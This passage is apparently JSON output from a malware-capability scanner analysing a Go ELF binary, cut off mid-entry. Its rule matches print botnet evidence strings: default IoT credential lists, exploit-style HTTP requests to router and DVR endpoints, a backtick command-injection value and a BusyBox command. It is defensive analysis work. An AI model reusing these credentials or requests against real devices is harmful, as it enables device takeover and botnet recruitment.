"internal/chacha8rand (contains: internal/chacha8rand)", "internal/chacha8rand.(*State).Next (contains: internal/chacha8rand)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/internal/chacha8rand/chacha8_amd64.s (contains: internal/chacha8rand)", "internal/chacha8rand.block (contains: internal/chacha8rand)" ], "i": "micro-behaviors/crypto/symmetric/stream::go-chacha8rand", "l": 2 }, { "a": "T1110.001", "c": 0.8500000238418579, "d": "Default credential: admin123", "e": [ "User-Agent: admin:admin123admin:cciadmintelnet opened \u0026new_password=name=\"admuse (contains: admin123)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: admin123)", "m= sp= sp: lr: fp= gp= mp=) m=MarkAhomChamKawiLisuMiaoModiNewaThaiTotoAVX2boolin (contains: admin123)" ], "i": "objectives/lateral-movement/brute-force/password::admin123", "l": 4 }, { "c": 0.8999999761581421, "d": "Executes /tmp file", "e": [ " /tmp/malformed " ], "i": "micro-behaviors/data/text/dropper::executes-tmp-file", "l": 1 }, { "c": 0.4000000059604645, "d": "cipher keyword", "e": [ "cipher", "cipher", "Cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher", "cipher" ], "i": "micro-behaviors/crypto/library::cipher-keyword", "l": 2 }, { "a": "T1027", "c": 0.800000011920929, "d": "Go crypto/tls peerCertificates internal type", "e": [ "peerCertificates" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-internal-peercertificates", "l": 1 }, { "a": "T1071", "c": 0.8999999761581421, "d": "Apex2 command parser symbols", "e": [ "strings.Fields", "strings.FieldsFunc", "bufio.(*Scanner).Scan", "context.WithTimeout", "sym.strings.Fields", "sym.strings.FieldsFunc", "sym.context.WithTimeout" ], "i": "objectives/command-and-control/botnet::apex2-command-parser-symbols", "l": 1, "m": "B0030" }, { "c": 0.8500000238418579, "d": "Explicit Desktop path token in content", "e": [ "Users/muryloportilho/Desktop/" ], "i": "objectives/collection/stealer/wallet::desktop-path-token", "l": 1 }, { "c": 0.699999988079071, "d": "Go base64 decoding", "e": [ "AppendDecode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".Decode", ".DecodedLen" ], "i": "micro-behaviors/data/encode/base64::go-base64-decode", "l": 2 }, { "c": 0.8500000238418579, "d": "Go crypto/tls package", "e": [ "crypto/tls.init", "crypto/tls.init.func1", "crypto/tls.map.init.0", "crypto/tls.map.init.1", "crypto/tls.AlertError.Error", "crypto/tls.alert.String", "crypto/tls.alert.Error", "crypto/tls.verifyHandshakeSignature", "crypto/tls.signedMessage", "crypto/tls.typeAndHashFromSignatureScheme", "crypto/tls.legacyTypeAndHashFromPublicKey", "crypto/tls.signatureSchemesForPublicKey", "crypto/tls.selectSignatureScheme", "crypto/tls.selectSignatureScheme.func2", "crypto/tls.selectSignatureScheme.func1", "crypto/tls.unsupportedCertificateError" ], "i": "metadata/lang/compiler/systems::crypto-tls-pkg", "l": 2 }, { "d": "Cookie header", "e": [ "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: Cookie:)", "Cookie: x=1; SSID=page=sysCMD\u0026command=Set-Cookie: SESSION=/cgi-bin/wledctl.cgiSe (contains: Cookie:)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: Cookie:)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: Cookie:)", "Set-Cookie:exp= (contains: Cookie:)", "POST /utility/run_commands.sh HTTP/1.1\r\nCookie: hash=%s; exp=%s; name=%s\r\nConten (contains: Cookie:)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: Cookie:)", "Cookie: main.shtmlAvtech/1.0chmod 777 %!Weekday(short read/etc/hosts netGo = ge (contains: Cookie:)", "Set-Cookie:hash= (contains: Cookie:)", "Cookie: loginName=admin (contains: Cookie:)", "Set-Cookie: loginName=admin (contains: Cookie:)", "User-Agent: BOXOFABOX: applet not foundSet-Cookie: loginName=adminBasic realm=\"S (contains: Cookie:)", "Cookie: hash=%s; exp=%s; name=%s (contains: Cookie:)", "Set-Cookie: SESSION= (contains: Cookie:)", "\r\nCookie: loginName=admin\r\n\r\n (contains: Cookie:)", "Cookie: SESSION=Server: mini_httpd: applet not found: day out of rangeunknown ti (contains: Cookie:)" ], "i": "micro-behaviors/communications/http/cookies::cookie-header", "l": 2 }, { "a": "T1071.001", "c": 0.7799999713897705, "d": "HTTP POST request line", "e": [ "POST /picsdesc.xml HTTP/1.1", "POST /goform/ZyLogin HTTP/1.1", "POST /goform/webLogin HTTP/1.1", "POST /cgi-bin/adm.cgi HTTP/1.1", "POST /boafrm/formSysCmd HTTP/1.1", "POST /boafrm/formSysCmd HTTP/1.0", "POST /cgi-bin/login.cgi HTTP/1.1", "POST /cgi-bin/webui/admin HTTP/1.1", "POST /goform/SystemCommand HTTP/1.1", "POST /boaform/admin/formLogin HTTP/1.1", "POST /editBlackAndWhiteList HTTP/1.1", "POST /getpage.gch?pid=101\u0026nextpage=manager_dev_config_t.gch HTTP/1.1", "POST /utility/get_password_cookie.sh HTTP/1.1", "POST /tmUnblock.cgi HTTP/1.1", "POST /goform/webLogin HTTP/1.1", "POST /boafrm/formSysCmd HTTP/1.0" ], "i": "micro-behaviors/communications/http/post::post-request-line", "l": 3, "m": "C0002" }, { "c": 0.20000000298023224, "d": "command keyword", "e": [ "User-Agent: time zone offset minutetime zone offset secondbytes.Buffer: too larg (contains: command)", "command not implemented (contains: command)", "Cookie: x=1; SSID=page=sysCMD\u0026command=Set-Cookie: SESSION=/cgi-bin/wledctl.cgiSe (contains: command)", "path\tcommand-line-arguments (contains: command)", "POST /utility/run_commands.sh HTTP/1.1\r\nCookie: hash=%s; exp=%s; name=%s\r\nConten (contains: command)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: command)", "pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bp (contains: command)", "%sPOST /utility/run_commands.sh HTTP/1.1 (contains: command)", "Host: /dvr/cmdncorrectgargoyleGoCloud:/cmd.cgiauthkey=Telecom:command=Wavlink:Br (contains: command)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: command)", "command not supported (contains: command)" ], "i": "micro-behaviors/data/text/keywords::command-dup", "l": 1 }, { "c": 0.8500000238418579, "d": "Go crypto/cipher package", "e": [ "crypto/cipher.newCBC", "crypto/cipher.NewCBCEncrypter", "crypto/cipher.(*cbcEncrypter).BlockSize", "crypto/cipher.(*cbcEncrypter).CryptBlocks", "crypto/cipher.(*cbcEncrypter).SetIV", "crypto/cipher.NewCBCDecrypter", "crypto/cipher.(*cbcDecrypter).BlockSize", "crypto/cipher.(*cbcDecrypter).CryptBlocks", "crypto/cipher.(*cbcDecrypter).SetIV", "crypto/cipher.NewGCM", "crypto/cipher.newGCM", "crypto/cipher.newGCMFallback", "crypto/cipher.(*gcmFallback).NonceSize", "crypto/cipher.(*gcmFallback).Overhead", "crypto/cipher.(*gcmFallback).Seal", "crypto/cipher.(*gcmFallback).Open" ], "i": "metadata/lang/compiler/systems::crypto-cipher-pkg", "l": 2 }, { "c": 0.30000001192092896, "d": "XGETBV instruction bytes", "e": [ "0F 01 D0", "0F 01 D0" ], "i": "metadata/binary/instruction::xgetbv-instr", "l": 2 }, { "c": 1.0, "d": "Binary format is identified", "e": [ "elf.class_bits = 64.00" ], "i": "metadata/binary::binary-format-checked", "l": 2 }, { "c": 0.699999988079071, "d": "References targetAddr (Go DDoS pattern)", "e": [ "targetAddr" ], "i": "objectives/impact/dos/attack::target-addr", "l": 1 }, { "c": 0.30000001192092896, "d": "HTTP configuration field (headers)", "e": [ "headers:" ], "i": "micro-behaviors/communications/http/request::http-config-headers", "l": 2 }, { "c": 0.800000011920929, "d": "Go crypto/aes import", "e": [ "crypto/aes: counter overflow (contains: crypto/aes)", "crypto/aes: len(dst) \u003c len(src) (contains: crypto/aes)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/crypto/aes/aes.go (contains: crypto/aes)", "/cpu/classes/idle:cpu-seconds/cpu/classes/user:cpu-seconds/gc/heap/allocs-by-siz (contains: crypto/aes)", "crypto/aes.KeySizeError.Error (contains: crypto/aes)", "crypto/aes: invalid buffer overlap (contains: crypto/aes)", "crypto/aes.(*KeySizeError).Error (contains: crypto/aes)", "runtime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll wi (contains: crypto/aes)", "crypto/aes.NewCipher (contains: crypto/aes)", "Host: Server: eCos Embedded Web Server: day-of-year does not match daygo package (contains: crypto/aes)", "is not allowed in FIPS 140-only modecrypto/aes: internal error: using generic im (contains: crypto/aes)", "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/ (contains: crypto/aes)", "unsafe.String: len out of range.lib section in a.out corruptedcannot assign requ (contains: crypto/aes)", "crypto/aes: internal error: using generic implementation despite hardware suppor (contains: crypto/aes)", "crypto/aes (contains: crypto/aes)", "invalid Upgrade request header: %qinvalid nested repetition operatorinvalid or u (contains: crypto/aes)" ], "i": "objectives/impact/ransom/encrypt::go-crypto-aes", "l": 1 }, { "c": 1.0, "d": "Binary has 200+ exports (large library)", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports-200", "l": 1 }, { "c": 0.800000011920929, "d": "Read cryptographic random bytes", "e": [ "crypto/rand.Read" ], "i": "micro-behaviors/os/random/crypto::go-crypto-rand-read", "l": 2 }, { "c": 0.699999988079071, "d": "Default credential admin:1234", "e": [ "admin:12345 (contains: admin:1234)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: admin:1234)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:1234)", "admin:123456 (contains: admin:1234)", "math/randcSHAKE128info_hashaddVW lensubVW lenunderflowadmin:1234admin:1111admin: (contains: admin:1234)" ], "i": "objectives/lateral-movement/brute-force/ssh::admin-1234-cred", "l": 3 }, { "c": 1.0, "d": "Binary has 100+ exports", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports-100", "l": 1 }, { "c": 1.0, "d": "bootstrap string", "e": [ "bootstrap" ], "i": "objectives/command-and-control/channel/p2p::bootstrap-str", "l": 1 }, { "a": "T1027", "c": 0.699999988079071, "d": "Go net/http http2Transport internal type", "e": [ "http2Transport" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-http-internal-http2transport", "l": 1 }, { "c": 1.0, "d": "Binary has 20+ sections (installer/packer)", "e": [ "binary.section_count = 24.00" ], "i": "metadata/binary/metrics::many-sections-20", "l": 1 }, { "c": 0.699999988079071, "d": "Default credential root:root", "e": [ "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: root:root)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: root:root)" ], "i": "objectives/lateral-movement/brute-force/ssh::root-root-cred", "l": 3 }, { "c": 0.6000000238418579, "d": "payload keyword", "e": [ "payload", "payload", "payload", "payload", "payload", "payload", "payload" ], "i": "micro-behaviors/data/text/keywords::payload", "l": 1 }, { "d": "net/http package import", "e": [ "vendor/golang.org/x/net/http/httpguts.init (contains: net/http)", "net/http/internal/httpcommon.ErrRequestHeaderListSize (contains: net/http)", "net/http/httptrace (contains: net/http)", "net/http: invalid trailer %s (contains: net/http)", "net/http: request completed (contains: net/http)", "vendor/golang.org/x/net/http2/hpack.DecodingError.Error (contains: net/http)", "net/http: Transport.DialContext hook returned (nil, nil) (contains: net/http)", "net/http: invalid method %q (contains: net/http)", "vendor/golang.org/x/net/http2/hpack.lazyRootHuffmanNode (contains: net/http)", "vendor/golang.org/x/net/http2/hpack.init (contains: net/http)", "vendor/golang.org/x/net/http2/hpack.HeaderField.String (contains: net/http)", "net/http: HTTP/1.x transport connection broken: %w (contains: net/http)", "/opt/homebrew/Cellar/go/1.25.6/libexec/src/net/http/header.go (contains: net/http)", "Host: /bin/busybox cp /bin/echo /tmp/malformed time zone informationfmt: unknown (contains: net/http)", "net/http..gobytes.2 (contains: net/http)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: net/http)" ], "i": "objectives/command-and-control/beacon::net-http-import", "l": 1 }, { "c": 0.4000000059604645, "d": "encrypt function", "e": [ "encrypt", "Encrypt", "Encrypt", "Encrypt", "encrypt", "Encrypt", "Encrypt", "encrypt" ], "i": "micro-behaviors/crypto/library::encrypt-fn", "l": 2 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "X-Forwarded-For proxy header", "e": [ "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: X-Forwarded-For)", "X-Forwarded-For (contains: X-Forwarded-For)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: X-Forwarded-For)" ], "i": "micro-behaviors/communications/http/headers::x-forwarded-for", "l": 3, "m": "C0002" }, { "c": 1.0, "d": "go/rs language suffix", "e": [ "runtime.rt0_go" ], "i": "micro-behaviors/data/text/malware::malware-lang-suffix", "l": 1 }, { "a": "T1573", "c": 0.75, "d": "Go decryption key symbol", "e": [ "DecryptTicket", "decryptTicket", "decryptionKey", "decryptionKey" ], "i": "objectives/command-and-control/infrastructure/config::go-decryption-key-symbol", "l": 3 }, { "c": 0.20000000298023224, "d": "localtime function (string)", "e": [ "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: ocaltime)", "localtime (contains: ocaltime)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: ocaltime)" ], "i": "micro-behaviors/time/query::localtime-string", "l": 2 }, { "c": 0.699999988079071, "d": "HTTP GET method", "e": [ "GET / HTTP/1.0", "GET /login.asp HTTP/1.1", "GET /syscmd.htm HTTP/1.0", "GET /zhnping.html HTTP/1.1", "GET /zhnping.html HTTP/1.1", "GET /index_mjpg.html HTTP/1.1", "GET /cgi-bin/api/web_cmd.cgi HTTP/1.1", "GET /radio.asp HTTP/1.1", "GET /backupmgt/localJob.php?session=fail`id` HTTP/1.0", "GET /saveSystemConfig HTTP/1.1", "GET / HTTP/1.1", "GET / HTTP/1.0", "GET /error_page.htm HTTP/1.0", "GET /shell?uname+-m HTTP/1.1", "GET /\\.gif\\..\\adm\\management.asp HTTP/1.1", "GET / HTTP/1.1" ], "i": "micro-behaviors/communications/http/get::get", "l": 3 }, { "c": 0.6600000262260437, "d": "Unmap files from memory", "e": [ "runtime.munmap", "runtime.munmap.func1", "syscall.munmap", "sym.runtime.munmap", "sym.runtime.munmap.func1", "sym.syscall.munmap" ], "i": "micro-behaviors/fs/memory/mmap::munmap", "l": 2 }, { "c": 0.699999988079071, "d": "Chromium Extensions directory", "e": [ "Extensions" ], "i": "micro-behaviors/fs/path/sensitive/browser::chromium-extensions-directory", "l": 1 }, { "d": "overflow keyword", "e": [ "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: overflow)", "chacha20: counter overflow (contains: overflow)", "already registeredunknown status codeinvalid URL escape missing ']' in hostunexp (contains: overflow)", "Origin: http://Basic realm=\"DVR\"echo -ne \"%s\" \u003e\u003e echo loading donecorrupt zip fi (contains: overflow)", "overflowing coordinate (contains: overflow)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: overflow)", "evictCount overflow (contains: overflow)", "sync/atomic.(*Pointer[go.shape.struct { unique.node = unique.node[go.shape.struc (contains: overflow)", "runtime.overflowTag (contains: overflow)", "sync/atomic.(*Pointer[go.shape.struct { internal/sync.node = internal/sync.node[ (contains: overflow)", "record overflow (contains: overflow)", "runtime: thread ID overflow (contains: overflow)", "x509: policy constraints inhibitPolicyMapping field overflows int (contains: overflow)", "internal/runtime/atomic.(*Pointer[go.shape.struct { runtime.r runtime.profAtomic (contains: overflow)", "transport is nilhost unreachableAlready ReportedMultiple ChoicesPayment Required (contains: overflow)", "Host: Password Level=\"40/40\"/lib/time/zoneinfo.zipzlib: invalid checksummissing (contains: overflow)" ], "i": "micro-behaviors/data/text/keywords::overflow", "l": 1 }, { "a": "T1071.001", "d": "Authorization header", "e": [ "Authorization" ], "i": "micro-behaviors/communications/http/request::auth-header-dup", "l": 2, "m": "C0002" }, { "c": 0.6600000262260437, "d": "Set socket options", "e": [ "syscall.setsockopt", "sym.syscall.setsockopt" ], "i": "micro-behaviors/communications/socket/options::options-set", "l": 2 }, { "a": "T1105", "c": 0.800000011920929, "d": "URL payload path POST family A", "e": [ "POST /utility/get_password_cookie.sh", "POST /utility/get_password_cookie.sh", "POST /utility/run_commands.sh" ], "i": "micro-behaviors/communications/http/url::payload-path-a-post", "l": 4 }, { "c": 0.699999988079071, "d": ":3333 common mining pool port", "e": [ "math/randcSHAKE128info_hashaddVW lensubVW lenunderflowadmin:1234admin:1111admin: (contains: :3333)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: :3333)", "admin:33333 (contains: :3333)" ], "i": "objectives/impact/cryptojacking/miner::pool-port-3333", "l": 2 }, { "c": 0.699999988079071, "d": "Default credential admin:password", "e": [ "sched={pc:, gp-\u003estatus= pluginpath= : unknown pc called from runtime: pid=Lette (contains: admin:password)", "admin:password (contains: admin:password)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: admin:password)" ], "i": "objectives/lateral-movement/brute-force/ssh::admin-password-cred", "l": 3 }, { "d": "Content-Type header string", "e": [ "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: (contains: Content-Type:)", "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 23\r\n\r\nUser=ad (contains: Content-Type:)", "Content-Type: text/xml (contains: Content-Type:)", "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nsubmit_button=\u0026change_actio (contains: Content-Type:)", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXp5bWpRzkkYV6A (contains: Content-Type:)", "Content-Type: application/x-www-form-urlencoded (contains: Content-Type:)", "\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\n (contains: Content-Type:)", "\r\nConnection: close\r\nCache-Control: max-age=0\r\nContent-Type: text/xml\r\nAuthoriza (contains: Content-Type:)", "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n (contains: Content-Type:)", "Content-Type: text/xml; charset=\"utf-8\" (contains: Content-Type:)" ], "i": "micro-behaviors/communications/http/request::content-type-header", "l": 1 }, { "a": "T1057", "c": 0.6000000238418579, "d": "RedXor process enumeration", "e": [ "/proc/seH" ], "i": "well-known/malware/backdoor/redxor::redxor-check-proc", "l": 1, "m": "B0009" }, { "c": 1.0, "d": "ELF64 class marker", "e": [ "elf.class_bits = 64.00" ], "i": "metadata/binary/metrics::elf64-class", "l": 1 }, { "c": 0.699999988079071, "d": "/home directory reference", "e": [ "/home" ], "i": "micro-behaviors/fs/path/system::home-dir", "l": 3 }, { "a": "T1071.001", "c": 0.699999988079071, "d": "net/http.(*Client).Do string in binary", "e": [ "net/http.(*Client).Do (contains: net/http.(*Client).Do)" ], "i": "micro-behaviors/communications/http/lib/netlib::go-http-client-do-string", "l": 3, "m": "C0002" }, { "a": "T1110.001", "c": 0.800000011920929, "d": "Mirai credential variant (hi3518)", "e": [ "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: hi3518)" ], "i": "objectives/lateral-movement/brute-force/iot-creds::mirai-cred-hi3518", "l": 4 }, { "c": 1.0, "d": "Binary has low average string entropy", "e": [ "binary.avg_string_entropy = 3.61" ], "i": "metadata/binary/metrics::avg-string-entropy-4-max", "l": 2 }, { "c": 0.20000000298023224, "d": "crypto keyword (word match)", "e": [ "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto", "crypto" ], "i": "micro-behaviors/data/text/keywords::crypto-word", "l": 1 }, { "c": 0.4000000059604645, "d": "exploit keyword", "e": [ "exploit", "exploit", "exploit", "exploit", "exploit", "exploit", "exploit", "exploit" ], "i": "micro-behaviors/data/text/keywords::exploit", "l": 1 }, { "a": "T1071.001", "c": 0.6499999761581421, "d": "Hardcoded POST method string", "e": [ "POST /utility/get_password_cookie.sh HTTP/1.1\r\nContent-type: application/x-www-f (contains: POST /)", "POST /boafrm/formSysCmd HTTP/1.0\r\nHost: (contains: POST /)", "Host: POST /cgi-bin/adm.cgi HTTP/1.1 (contains: POST /)", "stopTheWorld: not stopped (status != _Pgcstop)select on synctest channel from ou (contains: POST /)", "invalid timer: fake time but no syncgroupclone(CLONE_PIDFD) failed to return pid (contains: POST /)", "startTheWorld: inconsistent mp-\u003enextpCouldn't put Gs into empty local runqruntim (contains: POST /)", "User-Agent: POST /goform/ZyLogin HTTP/1.1 (contains: POST /)", "POST /utility/run_commands.sh HTTP/1.1\r\nCookie: hash=%s; exp=%s; name=%s\r\nConten (contains: POST /)", "Host: POST /boafrm/formSysCmd HTTP/1.0 (contains: POST /)", "POST /goform/SystemCommand HTTP/1.1 (contains: POST /)", "Host: Location: http://vodafone:vodafonereport:8Jg0SR8K50POST /guest_auth/ (contains: POST /)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: POST /)", "Host: \u0026SystemCommandSubmit=admin+applyPOST /apply.cgi HTTP/1.0 (contains: POST /)", "POST /boaform/admin/formLogin HTTP/1.1 (contains: POST /)", "Host: if\\('1' == '0' \\|\\| '(.+?)' == '(.+?)'\\)POST /cgi-bin/login.cgi HTTP/1.1 (contains: POST /)", "lock: sleeping while lock is availableP has cached GC work at end of mark termin (contains: POST /)" ], "i": "objectives/command-and-control/channel/http/protocol::http-method-post", "l": 1 }, { "a": "T1217", "c": 0.4000000059604645, "d": "Edge browser name (path)", "e": [ "Edge/", "Edge/", "Edge/", "Edge/", "Edge/" ], "i": "objectives/discovery/host/browser::edge-name-path", "l": 1 }, { "c": 0.6600000262260437, "d": "Read files (Go)", "e": [ "os.(*File).Read", "os.(*File).Read", "os.(*File).Read", "os.(*File).Read", "os.(*File).Read" ], "i": "micro-behaviors/fs/file/read::read-go", "l": 2 }, { "a": "T1021.004", "c": 0.4000000059604645, "d": "ssh string", "e": [ "ssh" ], "i": "micro-behaviors/communications/ssh/connect::ssh-string", "l": 2 }, { "c": 0.699999988079071, "d": "Unix /tmp/ path reference", "e": [ "m= sp= sp: lr: fp= gp= mp=) m=MarkAhomChamKawiLisuMiaoModiNewaThaiTotoAVX2boolin (contains: /tmp/)", "tls: received unexpected handshake message of type %T when waiting for %Ttls: in (contains: /tmp/)", "SeagateunknownTuesdayJanuaryOctoberfloat32float64runningconnectlookup writetoHEA (contains: /tmp/)", "../../../../../mnt/database/xml/Accounthttp2: Transport: cannot retry err [%v] a (contains: /tmp/)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: /tmp/)", "Host: /bin/busybox cp /bin/echo /tmp/malformed time zone informationfmt: unknown (contains: /tmp/)" ], "i": "micro-behaviors/fs/path/temp::unix-temp", "l": 2 }, { "c": 0.800000011920929, "d": "Binary has many exports (\u003e10)", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports", "l": 2 }, { "c": 0.699999988079071, "d": "Go socksCommand string", "e": [ "net/http.socksCommand.String (contains: socksCommand)" ], "i": "objectives/command-and-control/channel/tunnel/proxy::go-socks-cmd", "l": 1 }, { "c": 0.949999988079071, "d": "Go ELF build info section", "e": [ ".go.buildinfo" ], "i": "metadata/lang/compiler/systems::go-buildinfo-elf", "l": 2 }, { "c": 1.0, "d": "Binary has 20+ exports", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports-20", "l": 1 }, { "c": 0.8999999761581421, "d": "Go runtime goroutine creation", "e": [ "runtime.newproc" ], "i": "metadata/lang/compiler/systems::runtime-newproc", "l": 2 }, { "a": "T1071.001", "c": 0.6600000262260437, "d": "Accept-Encoding header", "e": [ "Accept-Encoding: gzip (contains: Accept-Encoding)", "Accept-Encoding (contains: Accept-Encoding)", "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: Accept-Encoding)", "Accept-Encoding: identity (contains: Accept-Encoding)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: Accept-Encoding)", "\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip\r\n\r\n (contains: Accept-Encoding)" ], "i": "micro-behaviors/communications/http/headers::headers-encoding", "l": 2, "m": "C0002" }, { "a": "T1027", "c": 0.699999988079071, "d": "Go crypto/tls serverHello internal type", "e": [ "serverHello" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-tls-internal-serverhello", "l": 1 }, { "c": 0.8199999928474426, "d": "ADB CNXN packet marker", "e": [ "CNXN" ], "i": "micro-behaviors/communications/socket/tcp::cnxn-token", "l": 1, "m": "C0001" }, { "a": "T1059.004", "d": "BusyBox reference (IoT device targeting)", "e": [ "; /bin/busybox (contains: /bin/busybox)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /bin/busybox)", "stopm spinning nmidlelocked= needspinning= schedticks=[ randinit twicestore64 fa (contains: /bin/busybox)", "Host: /bin/busybox cp /bin/echo /tmp/malformed time zone informationfmt: unknown (contains: /bin/busybox)", "Host: Server: eCos Embedded Web Server: day-of-year does not match daygo package (contains: /bin/busybox)", "username=telnet opened{\"errCode\":0}submit_buttonchange_actionServer: httpdroot:i (contains: /bin/busybox)", "stack not a power of 2minpc or maxpc invalidnon-Go function at pc=Inscriptional_ (contains: /bin/busybox)" ], "i": "objectives/command-and-control/botnet/iot::busybox", "l": 3 }, { "c": 0.6600000262260437, "d": "Reference to /etc/resolv.conf", "e": [ "/etc/resolv.conf (contains: /etc/resolv.conf)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: /etc/resolv.conf)", "morebuf={pc:: no frame (sp=runtime: frame ts set in timertraceback stuckunexpect (contains: /etc/resolv.conf)" ], "i": "micro-behaviors/fs/path/config::config-resolv", "l": 3 }, { "c": 0.6600000262260437, "d": "Get socket options", "e": [ "syscall.getsockopt", "sym.syscall.getsockopt" ], "i": "micro-behaviors/communications/socket/options::options-get", "l": 2 }, { "c": 1.0, "d": "Binary has 1000+ exports", "e": [ "binary.export_count = 6161.00" ], "i": "metadata/binary/metrics::many-exports-1000", "l": 1 }, { "a": "T1027", "c": 0.8500000238418579, "d": "Go cryptobyte buffer methods", "e": [ "ReadUint16LengthPrefixed", "ReadUint8LengthPrefixed", "ReadUint24LengthPrefixed" ], "i": "objectives/anti-static/obfuscation/tools/garble::go-cryptobyte-methods", "l": 1 }, { "c": 1.0, "d": "Binary has 5000+ functions", "e": [ "binary.function_count = 6228.00" ], "i": "metadata/binary/metrics::many-functions-5000", "l": 1 }, { "c": 1.0, "d": "Binary is not position-independent (fixed load address)", "e": [ "binary.is_pie = 0.00" ], "i": "metadata/hardening::no-pie", "l": 2 }, { "c": 1.0, "d": "File is a compiled binary", "e": [ "binary.file_size = 8864698.00" ], "i": "metadata/binary/framework::is-binary", "l": 1 }, { "c": 0.699999988079071, "d": "Default credential admin:admin", "e": [ "admin:admin1 (contains: admin:admin)", "/syscmd.htmAdmin:Adminadmin:zhonesubmit_typeroot:hi3518root:123456Set-Cookie:fou (contains: admin:admin)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: admin:admin)", "User-Agent: admin:admin123admin:cciadmintelnet opened \u0026new_password=name=\"admuse (contains: admin:admin)", "runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanf (contains: admin:admin)", "admin:admin (contains: admin:admin)", "telecomadmin:admintelecom (contains: admin:admin)", "chacha20: wrong key sizetelecomadmin:admintelecom\u003cDM name=\"TS_UName\" val=\"defaul (contains: admin:admin)" ], "i": "objectives/lateral-movement/brute-force/ssh::admin-admin-cred", "l": 3 }, { "d": "Botnet keyword", "e": [ "exit hook invoked panicpattern bits too long: FIPS 140-3 PCT passed: /etc/pki/tl (contains: botnet)", "BOTNET: applet not found (contains: botnet)" ], "i": "micro-behaviors/data/text/malware::botnet-term", "l": 2 }, { "c": 0.8999999761581421, "d": "Go main.main entry point", "e": [ "main.main" ], "i": "metadata/lang/compiler/systems::main-main", "l": 2 }, { "d": "password keyword", "e": [ "4*struct { F uintptr; R *http.socksUsernamePassword } (contains: password)", "*http.socksUsernamePassword (contains: password)", "admin:password (contains: password)", "invalid username/password version (contains: password)", "username=admin\u0026password=admin (contains: password)", "password (contains: password)", "net/http.(*socksUsernamePassword).Authenticate (contains: password)", "POST /utility/get_password_cookie.sh HTTP/1.1\r\nContent-type: application/x-www-f (contains: password)", "stack=[ minLC= maxpc= packed= -\u003e ptr=\tstack=[ minutes status= etypes nil PoolA (contains: password)", "net/url.(*Userinfo).Password (contains: password)", "ERROR:bad password! (contains: password)", "passwordSet (contains: password)", "net/http.(*socksUsernamePassword).Authenticate-fm (contains: password)", "goal , cons/mark maxTrigger= pages/byte\n s.sweepgen= allocCount page summarytim (contains: password)", "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/ (contains: password)", "Password (contains: password)" ], "i": "micro-behaviors/data/text/keywords::password", 